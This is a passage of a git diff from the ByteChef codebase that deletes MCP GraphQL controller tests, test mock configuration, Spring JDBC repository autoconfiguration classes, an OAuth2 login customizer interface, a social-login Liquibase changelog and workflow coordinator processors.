-    private Tag createMockTag(Long id, String name) {
-        Tag tag = new Tag();
-
-        tag.setId(id);
-        tag.setName(name);
-
-        return tag;
-    }
-}
diff --git a/server/libs/platform/platform-mcp/platform-mcp-graphql/src/test/java/com/bytechef/platform/mcp/web/graphql/McpToolGraphQlControllerIntTest.java b/server/libs/platform/platform-mcp/platform-mcp-graphql/src/test/java/com/bytechef/platform/mcp/web/graphql/McpToolGraphQlControllerIntTest.java
deleted file mode 100644
index a47dd86f6e3..00000000000
--- a/server/libs/platform/platform-mcp/platform-mcp-graphql/src/test/java/com/bytechef/platform/mcp/web/graphql/McpToolGraphQlControllerIntTest.java
+++ /dev/null
@@ -1,234 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.mcp.web.graphql;
-
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.platform.mcp.domain.McpTool;
-import com.bytechef.platform.mcp.service.McpToolService;
-import com.bytechef.platform.mcp.web.graphql.config.McpGraphQlConfigurationSharedMocks;
-import com.bytechef.platform.mcp.web.graphql.config.McpGraphQlTestConfiguration;
-import java.util.List;
-import java.util.Map;
-import java.util.Optional;
-import org.junit.jupiter.api.Test;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.boot.graphql.test.autoconfigure.GraphQlTest;
-import org.springframework.graphql.test.tester.GraphQlTester;
-import org.springframework.test.context.ContextConfiguration;
-
-/**
- * @author Ivica Cardic
- */
-@ContextConfiguration(classes = {
-    McpGraphQlTestConfiguration.class,
-    McpToolGraphQlController.class
-})
-@GraphQlTest(
-    controllers = McpToolGraphQlController.class,
-    properties = {
-        "bytechef.coordinator.enabled=true",
-        "spring.graphql.schema.locations=classpath*:/graphql/"
-    })
-@McpGraphQlConfigurationSharedMocks
-public class McpToolGraphQlControllerIntTest {
-
-    @Autowired
-    private GraphQlTester graphQlTester;
-
-    @Autowired
-    private McpToolService mcpToolService;
-
-    @Test
-    void testGetMcpToolById() {
-        // Given
-        McpTool mockTool = createMockMcpTool(1L, "test-tool", Map.of("param1", "value1"), 1L);
-
-        when(mcpToolService.fetchMcpTool(1L)).thenReturn(Optional.of(mockTool));
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                query {
-                    mcpTool(id: "1") {
-                        id
-                        name
-                        mcpComponentId
-                    }
-                }
-                """)
-            .execute()
-            .path("mcpTool.id")
-            .entity(String.class)
-            .isEqualTo("1")
-            .path("mcpTool.name")
-            .entity(String.class)
-            .isEqualTo("test-tool")
-            .path("mcpTool.mcpComponentId")
-            .entity(String.class)
-            .isEqualTo("1");
-    }
-
-    @Test
-    void testGetMcpToolByIdNotFound() {
-        // Given
-        when(mcpToolService.fetchMcpTool(1L)).thenReturn(Optional.empty());
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                query {
-                    mcpTool(id: "1") {
-                        id
-                        name
-                    }
-                }
-                """)
-            .execute()
-            .path("mcpTool")
-            .valueIsNull();
-    }
-
-    @Test
-    void testGetAllMcpTools() {
-        // Given
-        List<McpTool> mockTools = List.of(
-            createMockMcpTool(1L, "tool1", Map.of("param1", "value1"), 1L),
-            createMockMcpTool(2L, "tool2", Map.of("param2", "value2"), 2L));
-
-        when(mcpToolService.getMcpTools()).thenReturn(mockTools);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                query {
-                    mcpTools {
-                        id
-                        name
-                    }
-                }
-                """)
-            .execute()
-            .path("mcpTools")
-            .entityList(Object.class)
-            .hasSize(2);
-    }
-
-    @Test
-    void testGetMcpToolsByComponentId() {
-        // Given
-        List<McpTool> mockTools = List.of(
-            createMockMcpTool(1L, "component-tool1", Map.of("param1", "value1"), 1L),
-            createMockMcpTool(2L, "component-tool2", Map.of("param2", "value2"), 1L));
-
-        when(mcpToolService.getMcpComponentMcpTools(1L)).thenReturn(mockTools);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                query {
-                    mcpToolsByComponentId(mcpComponentId: "1") {
-                        id
-                        name
-                        mcpComponentId
-                    }
-                }
-                """)
-            .execute()
-            .path("mcpToolsByComponentId")
-            .entityList(Object.class)
-            .hasSize(2);
-    }
-
-    @Test
-    void testCreateMcpTool() {
-        // Given
-        Map<String, String> parameters = Map.of("param1", "value1", "param2", "value2");
-        McpTool mockTool = createMockMcpTool(1L, "new-tool", parameters, 1L);
-
-        when(mcpToolService.create(any(McpTool.class))).thenReturn(mockTool);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                mutation {
-                    createMcpTool(input: {
-                        name: "new-tool",
-                        parameters: { param1: "value1", param2: "value2" },
-                        mcpComponentId: "1"
-                    }) {
-                        id
-                        name
-                        mcpComponentId
-                    }
-                }
-                """)
-            .execute()
-            .path("createMcpTool.id")
-            .entity(String.class)
-            .isEqualTo("1")
-            .path("createMcpTool.name")
-            .entity(String.class)
-            .isEqualTo("new-tool");
-
-        verify(mcpToolService).create(any(McpTool.class));
-    }
-
-    @Test
-    void testCreateMcpToolWithEmptyParameters() {
-        // Given
-        McpTool mockTool = createMockMcpTool(1L, "simple-tool", Map.of(), 2L);
-
-        when(mcpToolService.create(any(McpTool.class))).thenReturn(mockTool);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                mutation {
-                    createMcpTool(input: {
-                        name: "simple-tool",
-                        mcpComponentId: "2"
-                    }) {
-                        id
-                        name
-                        mcpComponentId
-                    }
-                }
-                """)
-            .execute()
-            .path("createMcpTool.id")
-            .entity(String.class)
-            .isEqualTo("1")
-            .path("createMcpTool.name")
-            .entity(String.class)
-            .isEqualTo("simple-tool");
-
-        verify(mcpToolService).create(any(McpTool.class));
-    }
-
-    private McpTool createMockMcpTool(Long id, String name, Map<String, String> parameters, long mcpComponentId) {
-        McpTool tool = new McpTool(name, parameters, mcpComponentId);
-
-        tool.setId(id);
-        tool.setMcpComponentId(mcpComponentId);
-        tool.setVersion(1);
-
-        return tool;
-    }
-}
diff --git a/server/libs/platform/platform-mcp/platform-mcp-graphql/src/test/java/com/bytechef/platform/mcp/web/graphql/config/McpGraphQlConfigurationSharedMocks.java b/server/libs/platform/platform-mcp/platform-mcp-graphql/src/test/java/com/bytechef/platform/mcp/web/graphql/config/McpGraphQlConfigurationSharedMocks.java
deleted file mode 100644
index 1844c5e73f0..00000000000
--- a/server/libs/platform/platform-mcp/platform-mcp-graphql/src/test/java/com/bytechef/platform/mcp/web/graphql/config/McpGraphQlConfigurationSharedMocks.java
+++ /dev/null
@@ -1,41 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.mcp.web.graphql.config;
-
-import com.bytechef.config.ApplicationProperties;
-import com.bytechef.platform.mcp.facade.McpServerFacade;
-import com.bytechef.platform.mcp.service.McpComponentService;
-import com.bytechef.platform.mcp.service.McpServerService;
-import com.bytechef.platform.mcp.service.McpToolService;
-import com.bytechef.platform.tag.service.TagService;
-import java.lang.annotation.ElementType;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-import org.springframework.test.context.bean.override.mockito.MockitoBean;
-
-/**
- * @author Ivica Cardic
- */
-@Target(ElementType.TYPE)
-@Retention(RetentionPolicy.RUNTIME)
-@MockitoBean(types = {
-    ApplicationProperties.class, McpServerFacade.class, McpServerService.class,
-    McpComponentService.class, McpToolService.class, TagService.class
-})
-public @interface McpGraphQlConfigurationSharedMocks {
-}
diff --git a/server/libs/platform/platform-mcp/platform-mcp-graphql/src/test/java/com/bytechef/platform/mcp/web/graphql/config/McpGraphQlTestConfiguration.java b/server/libs/platform/platform-mcp/platform-mcp-graphql/src/test/java/com/bytechef/platform/mcp/web/graphql/config/McpGraphQlTestConfiguration.java
deleted file mode 100644
index 9628cefca93..00000000000
--- a/server/libs/platform/platform-mcp/platform-mcp-graphql/src/test/java/com/bytechef/platform/mcp/web/graphql/config/McpGraphQlTestConfiguration.java
+++ /dev/null
@@ -1,89 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.mcp.web.graphql.config;
-
-import com.bytechef.config.ApplicationProperties;
-import com.bytechef.platform.mcp.facade.McpServerFacade;
-import com.bytechef.platform.mcp.service.McpComponentService;
-import com.bytechef.platform.mcp.service.McpServerService;
-import com.bytechef.platform.mcp.service.McpToolService;
-import com.bytechef.platform.tag.service.TagService;
-import com.bytechef.test.config.graphql.GraphQLScalarTypes;
-import org.mockito.Mockito;
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.context.annotation.Primary;
-import org.springframework.graphql.execution.RuntimeWiringConfigurer;
-
-/**
- * @author Ivica Cardic
- */
-@Configuration
-public class McpGraphQlTestConfiguration {
-
-    @Bean
-    @Primary
-    public ApplicationProperties applicationProperties() {
-        ApplicationProperties properties = Mockito.mock(ApplicationProperties.class);
-
-        Mockito.when(properties.getPublicUrl())
-            .thenReturn("http://localhost:8080");
-
-        return properties;
-    }
-
-    @Bean
-    @Primary
-    public McpServerFacade mcpServerFacade() {
-        return Mockito.mock(McpServerFacade.class);
-    }
-
-    @Bean
-    @Primary
-    public McpServerService mcpServerService() {
-        return Mockito.mock(McpServerService.class);
-    }
-
-    @Bean
-    @Primary
-    public McpComponentService mcpComponentService() {
-        return Mockito.mock(McpComponentService.class);
-    }
-
-    @Bean
-    @Primary
-    public McpToolService mcpToolService() {
-        return Mockito.mock(McpToolService.class);
-    }
-
-    @Bean
-    @Primary
-    public TagService tagService() {
-        return Mockito.mock(TagService.class);
-    }
-
-    @Bean
-    RuntimeWiringConfigurer longScalarWiringConfigurer() {
-        return wiringBuilder -> wiringBuilder.scalar(GraphQLScalarTypes.longScalar());
-    }
-
-    @Bean
-    RuntimeWiringConfigurer mapScalarWiringConfigurer() {
-        return wiringBuilder -> wiringBuilder.scalar(GraphQLScalarTypes.mapScalar());
-    }
-
-}
diff --git a/server/libs/platform/platform-mcp/platform-mcp-graphql/src/test/resources/graphql/test.graphqls b/server/libs/platform/platform-mcp/platform-mcp-graphql/src/test/resources/graphql/test.graphqls
deleted file mode 100644
index 8a10da27efe..00000000000
--- a/server/libs/platform/platform-mcp/platform-mcp-graphql/src/test/resources/graphql/test.graphqls
+++ /dev/null
@@ -1,29 +0,0 @@
-# Test-only GraphQL base operations and minimal type stubs for GraphQL slice tests.
-
-# Base operation types so that 'extend type Query/Mutation' from main resources can merge.
-type Query {
-    _placeholder: Boolean
-}
-
-type Mutation {
-    _placeholder: Boolean
-}
-
-# Minimal type stubs referenced by mcp graphqls files
-scalar Long
-scalar Map
-
-type Tag {
-    id: ID
-    name: String
-}
-
-input TagInput {
-    id: ID
-    name: String!
-}
-
-enum PlatformType {
-    AUTOMATION
-    EMBEDDED
-}
diff --git a/server/libs/platform/platform-mcp/platform-mcp-service/src/main/java/com/bytechef/platform/mcp/config/PlatformMcpJdbcRepositoryConfiguration.java b/server/libs/platform/platform-mcp/platform-mcp-service/src/main/java/com/bytechef/platform/mcp/config/PlatformMcpJdbcRepositoryConfiguration.java
deleted file mode 100644
index 76a707d2544..00000000000
--- a/server/libs/platform/platform-mcp/platform-mcp-service/src/main/java/com/bytechef/platform/mcp/config/PlatformMcpJdbcRepositoryConfiguration.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.mcp.config;
-
-import org.springframework.boot.autoconfigure.AutoConfiguration;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnBean;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-
-/**
- * @author Ivica Cardic
- */
-@AutoConfiguration(afterName = "org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration")
-@ConditionalOnBean(AbstractJdbcConfiguration.class)
-@EnableJdbcRepositories(basePackages = "com.bytechef.platform.mcp.repository")
-class PlatformMcpJdbcRepositoryConfiguration {
-}
diff --git a/server/libs/platform/platform-mcp/platform-mcp-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/server/libs/platform/platform-mcp/platform-mcp-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
deleted file mode 100644
index 78a9d66cb50..00000000000
--- a/server/libs/platform/platform-mcp/platform-mcp-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
+++ /dev/null
@@ -1 +0,0 @@
-com.bytechef.platform.mcp.config.PlatformMcpJdbcRepositoryConfiguration
diff --git a/server/libs/platform/platform-notification/platform-notification-service/src/main/java/com/bytechef/platform/notification/config/PlatformNotificationJdbcRepositoryConfiguration.java b/server/libs/platform/platform-notification/platform-notification-service/src/main/java/com/bytechef/platform/notification/config/PlatformNotificationJdbcRepositoryConfiguration.java
deleted file mode 100644
index 68b1d99ff12..00000000000
--- a/server/libs/platform/platform-notification/platform-notification-service/src/main/java/com/bytechef/platform/notification/config/PlatformNotificationJdbcRepositoryConfiguration.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.notification.config;
-
-import org.springframework.boot.autoconfigure.AutoConfiguration;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnBean;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-
-/**
- * @author Ivica Cardic
- */
-@AutoConfiguration(afterName = "org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration")
-@ConditionalOnBean(AbstractJdbcConfiguration.class)
-@EnableJdbcRepositories(basePackages = "com.bytechef.platform.notification.repository")
-class PlatformNotificationJdbcRepositoryConfiguration {
-}
diff --git a/server/libs/platform/platform-notification/platform-notification-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/server/libs/platform/platform-notification/platform-notification-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
deleted file mode 100644
index e99d41535de..00000000000
--- a/server/libs/platform/platform-notification/platform-notification-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
+++ /dev/null
@@ -1 +0,0 @@
-com.bytechef.platform.notification.config.PlatformNotificationJdbcRepositoryConfiguration
diff --git a/server/libs/platform/platform-security-web/platform-security-web-api/src/main/java/com/bytechef/platform/security/web/config/OAuth2LoginCustomizer.java b/server/libs/platform/platform-security-web/platform-security-web-api/src/main/java/com/bytechef/platform/security/web/config/OAuth2LoginCustomizer.java
deleted file mode 100644
index 4f88b924c16..00000000000
--- a/server/libs/platform/platform-security-web/platform-security-web-api/src/main/java/com/bytechef/platform/security/web/config/OAuth2LoginCustomizer.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.security.web.config;
-
-import org.springframework.security.config.annotation.web.builders.HttpSecurity;
-
-/**
- * Defines a customizer for OAuth2 login configuration. Implementations of this interface provide the necessary
- * configuration for integrating OAuth2 login (social login) into the security filter chain. When this bean is present,
- * it indicates that OAuth2 login is enabled and should be wired into the main API filter chain.
- *
- * @author Ivica Cardic
- */
-@FunctionalInterface
-public interface OAuth2LoginCustomizer {
-
-    void customize(HttpSecurity http) throws Exception;
-}
diff --git a/server/libs/platform/platform-security/platform-security-service/src/main/java/com/bytechef/platform/security/config/PlatformSecurityJdbcRepositoryConfiguration.java b/server/libs/platform/platform-security/platform-security-service/src/main/java/com/bytechef/platform/security/config/PlatformSecurityJdbcRepositoryConfiguration.java
deleted file mode 100644
index c8362412cd1..00000000000
--- a/server/libs/platform/platform-security/platform-security-service/src/main/java/com/bytechef/platform/security/config/PlatformSecurityJdbcRepositoryConfiguration.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.security.config;
-
-import org.springframework.boot.autoconfigure.AutoConfiguration;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnBean;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-
-/**
- * @author Ivica Cardic
- */
-@AutoConfiguration(afterName = "org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration")
-@ConditionalOnBean(AbstractJdbcConfiguration.class)
-@EnableJdbcRepositories(basePackages = "com.bytechef.platform.security.repository")
-class PlatformSecurityJdbcRepositoryConfiguration {
-}
diff --git a/server/libs/platform/platform-security/platform-security-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/server/libs/platform/platform-security/platform-security-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
deleted file mode 100644
index d8567745be8..00000000000
--- a/server/libs/platform/platform-security/platform-security-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
+++ /dev/null
@@ -1 +0,0 @@
-com.bytechef.platform.security.config.PlatformSecurityJdbcRepositoryConfiguration
diff --git a/server/libs/platform/platform-tag/platform-tag-service/src/main/java/com/bytechef/platform/tag/config/PlatformTagJdbcRepositoryConfiguration.java b/server/libs/platform/platform-tag/platform-tag-service/src/main/java/com/bytechef/platform/tag/config/PlatformTagJdbcRepositoryConfiguration.java
deleted file mode 100644
index ca2da9fa331..00000000000
--- a/server/libs/platform/platform-tag/platform-tag-service/src/main/java/com/bytechef/platform/tag/config/PlatformTagJdbcRepositoryConfiguration.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.tag.config;
-
-import org.springframework.boot.autoconfigure.AutoConfiguration;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnBean;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-
-/**
- * @author Ivica Cardic
- */
-@AutoConfiguration(afterName = "org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration")
-@ConditionalOnBean(AbstractJdbcConfiguration.class)
-@EnableJdbcRepositories(basePackages = "com.bytechef.platform.tag.repository")
-class PlatformTagJdbcRepositoryConfiguration {
-}
diff --git a/server/libs/platform/platform-tag/platform-tag-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/server/libs/platform/platform-tag/platform-tag-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
deleted file mode 100644
index 81dbe402d28..00000000000
--- a/server/libs/platform/platform-tag/platform-tag-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
+++ /dev/null
@@ -1 +0,0 @@
-com.bytechef.platform.tag.config.PlatformTagJdbcRepositoryConfiguration
diff --git a/server/libs/platform/platform-user/platform-user-service/src/main/java/com/bytechef/platform/user/config/PlatformUserJdbcRepositoryConfiguration.java b/server/libs/platform/platform-user/platform-user-service/src/main/java/com/bytechef/platform/user/config/PlatformUserJdbcRepositoryConfiguration.java
deleted file mode 100644
index 92badb2218a..00000000000
--- a/server/libs/platform/platform-user/platform-user-service/src/main/java/com/bytechef/platform/user/config/PlatformUserJdbcRepositoryConfiguration.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.user.config;
-
-import org.springframework.boot.autoconfigure.AutoConfiguration;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnBean;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-
-/**
- * @author Ivica Cardic
- */
-@AutoConfiguration(afterName = "org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration")
-@ConditionalOnBean(AbstractJdbcConfiguration.class)
-@EnableJdbcRepositories(basePackages = "com.bytechef.platform.user.repository")
-class PlatformUserJdbcRepositoryConfiguration {
-}
diff --git a/server/libs/platform/platform-user/platform-user-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/server/libs/platform/platform-user/platform-user-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
deleted file mode 100644
index d34b2365ac4..00000000000
--- a/server/libs/platform/platform-user/platform-user-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
+++ /dev/null
@@ -1 +0,0 @@
-com.bytechef.platform.user.config.PlatformUserJdbcRepositoryConfiguration
diff --git a/server/libs/platform/platform-user/platform-user-service/src/main/resources/config/liquibase/changelog/platform/user/20250207000000_platform_user_add_social_login_columns.xml b/server/libs/platform/platform-user/platform-user-service/src/main/resources/config/liquibase/changelog/platform/user/20250207000000_platform_user_add_social_login_columns.xml
deleted file mode 100644
index 5108c9c8d52..00000000000
--- a/server/libs/platform/platform-user/platform-user-service/src/main/resources/config/liquibase/changelog/platform/user/20250207000000_platform_user_add_social_login_columns.xml
+++ /dev/null
@@ -1,17 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<databaseChangeLog xmlns="http://www.liquibase.org/xml/ns/dbchangelog"
-                   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                   xsi:schemaLocation="http://www.liquibase.org/xml/ns/dbchangelog
-                   http://www.liquibase.org/xml/ns/dbchangelog/dbchangelog-4.20.xsd">
-    <changeSet id="20250207000000-1" author="Ivica Cardic">
-        <addColumn tableName="user">
-            <column name="auth_provider" type="VARCHAR(20)" defaultValue="LOCAL">
-                <constraints nullable="false"/>
-            </column>
-            <column name="provider_id" type="VARCHAR(255)"/>
-        </addColumn>
-        <addUniqueConstraint tableName="user"
-                             columnNames="auth_provider, provider_id"
-                             constraintName="uk_user_auth_provider_provider_id"/>
-    </changeSet>
-</databaseChangeLog>
diff --git a/server/libs/platform/platform-workflow/platform-workflow-coordinator/platform-workflow-coordinator-impl/src/main/java/com/bytechef/platform/workflow/coordinator/message/OutputFilteringMessageEventPostReceiveProcessor.java b/server/libs/platform/platform-workflow/platform-workflow-coordinator/platform-workflow-coordinator-impl/src/main/java/com/bytechef/platform/workflow/coordinator/message/OutputFilteringMessageEventPostReceiveProcessor.java
deleted file mode 100644
index 23a19098b75..00000000000
--- a/server/libs/platform/platform-workflow/platform-workflow-coordinator/platform-workflow-coordinator-impl/src/main/java/com/bytechef/platform/workflow/coordinator/message/OutputFilteringMessageEventPostReceiveProcessor.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.workflow.coordinator.message;
-
-import com.bytechef.atlas.coordinator.event.TaskExecutionCompleteEvent;
-import com.bytechef.atlas.execution.domain.TaskExecution;
-import com.bytechef.message.event.MessageEvent;
-import com.bytechef.message.event.MessageEventPostReceiveProcessor;
-import com.bytechef.platform.component.constant.MetadataConstants;
-import java.util.Collection;
-import java.util.Map;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-import org.springframework.stereotype.Component;
-
-/**
- * Logs metrics about received task execution outputs that were filtered to include only referenced property paths.
- *
- * @author Ivica Cardic
- */
-@Component
-class OutputFilteringMessageEventPostReceiveProcessor implements MessageEventPostReceiveProcessor {
-
-    private static final Logger logger = LoggerFactory.getLogger(OutputFilteringMessageEventPostReceiveProcessor.class);
-
-    @Override
-    public MessageEvent<?> process(MessageEvent<?> messageEvent) {
-        if (!(messageEvent instanceof TaskExecutionCompleteEvent taskExecutionCompleteEvent)) {
-            return messageEvent;
-        }
-
-        TaskExecution taskExecution = taskExecutionCompleteEvent.getTaskExecution();
-
-        Map<String, ?> metadata = taskExecution.getMetadata();
-
-        Object referencePaths = metadata.get(MetadataConstants.OUTPUT_REFERENCE_PATHS);
-
-        if (referencePaths instanceof Collection<?> referencePathCollection && !referencePathCollection.isEmpty()
-            && logger.isDebugEnabled()) {
-
-            logger.debug(
-                "Received filtered output for task name='{}', type='{}' with {} referenced paths",
-                taskExecution.getName(), taskExecution.getType(), referencePathCollection.size());
-        }
-
-        return messageEvent;
-    }
-}
diff --git a/server/libs/platform/platform-workflow/platform-workflow-coordinator/platform-workflow-coordinator-impl/src/main/java/com/bytechef/platform/workflow/coordinator/task/dispatcher/OutputReferenceTaskDispatcherPreSendProcessor.java b/server/libs/platform/platform-workflow/platform-workflow-coordinator/platform-workflow-coordinator-impl/src/main/java/com/bytechef/platform/workflow/coordinator/task/dispatcher/OutputReferenceTaskDispatcherPreSendProcessor.java
deleted file mode 100644
index 8b0c5a7c71f..00000000000
--- a/server/libs/platform/platform-workflow/platform-workflow-coordinator/platform-workflow-coordinator-impl/src/main/java/com/bytechef/platform/workflow/coordinator/task/dispatcher/OutputReferenceTaskDispatcherPreSendProcessor.java
+++ /dev/null
@@ -1,83 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.workflow.coordinator.task.dispatcher;
-
-import com.bytechef.atlas.configuration.domain.Workflow;
